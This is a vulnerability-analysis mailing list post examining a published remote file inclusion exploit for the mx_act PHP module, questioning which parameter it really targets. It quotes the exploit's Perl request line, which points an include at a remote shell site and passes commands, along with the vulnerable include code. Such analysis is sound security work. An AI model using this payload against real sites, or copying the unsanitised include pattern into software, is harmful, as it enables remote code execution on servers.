[VIM] mx_act RFI oddness

[Steven M. Christey]

Researcher: Dr Max Virus
Ref: http://www.milw0rm.com/exploits/2919


People are reporting this as affecting the module_root_path parameter,
but the demonstration URL is constructed (in Perl) as follows:

  HTTP::Request->new(GET=>$target.'/includes/act_constants.php?board_config[default_lang]=english&mx_root_path$module_root_path='.$shellsite='.?&'.$cmdv.'='.$cmd)

The 'string' is not interpreted, so the parameter that's being sent to
the script is:

  mx_root_path$module_root_path

(unless there's a second interpolation within HTTP::Request->new
itself, which would be a rather notable feature subject to its own
security issues I would surmise, if such an interpolation exists).

Anyways - sample testing in my PHP 4 shows that PHP treats
mx_root_path$module_root_path as a valid variable name.

Source inspection of the program, of course, doesn't give any
mx_root_path$module_root_path.  Rather, we have:

>if ( !file_exists($mx_root_path . 'modules/mx_act/language/lang_' . $board_config['default_lang'] . '/lang_activity.'.$phpEx ) )
>{
>  	include( $mx_root_path . 'modules/mx_act/language/lang_english/lang_activity.'.$phpEx );
>	$link_language='lang_english';
>}	

... which is a clear RFI vector since only define() statements appear
before here.

Later, we have:

>if ( file_exists( $module_root_path . "templates/".$theme['template_name']."/images" ) )
>{
>	$current_template_images = $module_root_path . "templates/".$theme['template_name']."/images" ;
>}	
>else
>{
>	$current_template_images = $module_root_path . "templates/"."subSilver"."/images" ;
>} 

... which is only used to set variables $images['icon_approve'],
$images['icon_unapprove'], and $images['kb_title']

... except, grep doesn't produce any results for icon_approve,
icon_unapprove, or kb_title.


So - what's going on here?  Is this just script kiddie protection in
an otherwise functional exploit?  Or did I miss something?

- Steve